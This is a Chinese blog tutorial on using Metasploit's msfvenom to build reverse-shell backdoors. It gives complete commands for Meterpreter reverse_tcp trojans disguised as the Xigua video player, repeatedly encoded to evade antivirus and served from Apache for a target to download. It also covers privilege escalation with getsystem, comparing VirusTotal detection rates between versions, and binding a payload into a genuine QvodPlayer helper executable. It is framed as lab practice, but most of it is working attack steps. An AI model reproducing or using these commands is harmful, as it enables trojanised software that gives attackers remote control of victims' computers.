使用metasploit的msfvenom模块生成恶意软件获取后门

最新推荐文章于 2024-07-27 14:51:42 发布

Time_worm

最新推荐文章于 2024-07-27 14:51:42 发布

阅读量965

点赞数 26

文章标签：网络

本文链接：https://blog.csdn.net/Time_worm/article/details/140459553

版权

一、背景

msfvenom是msfpayload、msfcencode的结合体，可利用msfvenom生成木马程序，并在目标机上执行，在本地监听上线。

二、各类实战

1.生成西瓜影音、看片神器后门木马

打开kali终端，msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.47.165 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/xigua1.exe

-a x86 架构为32位，兼容64位

--platform 指定平台windows

-p指定payload 指定LHOST，LPORT为本机IP、端口

-b设定规避字符集（会影响payload质量） "\x00"16进制的空字符

-e指定需要使用的encoder（编码器）编码免杀

-i指定payload的编码次数,编码次数越多，免杀能力越强

-f指定输出格式生成exe文件

-o保存payload文件输出位置

除此之外还有

-n为payload预先指定一个NOP滑动长度

-s设定有效攻击荷载的最大长度生成payload的最大长度，就是文件大小

-c指定一个附加的win32 shellcode文件

-x指定一个自定义的可执行文件作为模板
例如：原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.47.165 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86 /alpha_upper -i 10 -f exe -o /var/www/html/xigua2.exe

生成第二个后门程序，加密次数更多，免杀能力更强

开启apache2服务器，让靶机通过apache2服务器从浏览器中下载西瓜影音

打开msfconsole，使用exploit/multi/handler模块进行监听，具体参数如下

运行该模块后，在靶机运行xigua1.exe或xigua2.exe

运行后kali的模块中就会立刻捕获到并成功获得目标机权限

此时我们是目标机登录的用户权限，还不是最高的system权限，可以使用meterpreter自带的提权工具，使用getsystem命令

那么两个版本的西瓜影音有什么区别呢

我们可以通过VirusTotal来查看，这个网站是提供免费的病毒、蠕虫、木马和各种恶意软件分析服务，和多家厂商共享他们的病毒库。还有比如VirScan - 多引擎文件在线检测平台也可以。

对于xigua1.exe，共有54款杀毒软件报毒

而对于xigua2.exe，则有47款杀毒软件报毒

补充：本次利用后门获得权限后，尝试使用之前永恒之蓝漏洞学习时失败的run vnc命令，结果成功的打开了vnc，重新使用永恒之蓝漏洞后也能够启动vnc了

2.模拟黑客给真正的快播软件加上后门

一个正常的应用，除了它的启动程序，还会调用许多的附加小程序一起运行来提供完整的服务，如果直接将后门加在主程序上，可能会有报错，但是加在小程序上可能就没有太大的影响，所以我们可以将payload加在小程序上。

发现:当 QvodPlayer.exe 主程序运行时，会自动调用 QvodTerminal.exe 这个小程序。

上传QvodTerminal.exe到kali上

使用msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.47.165 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe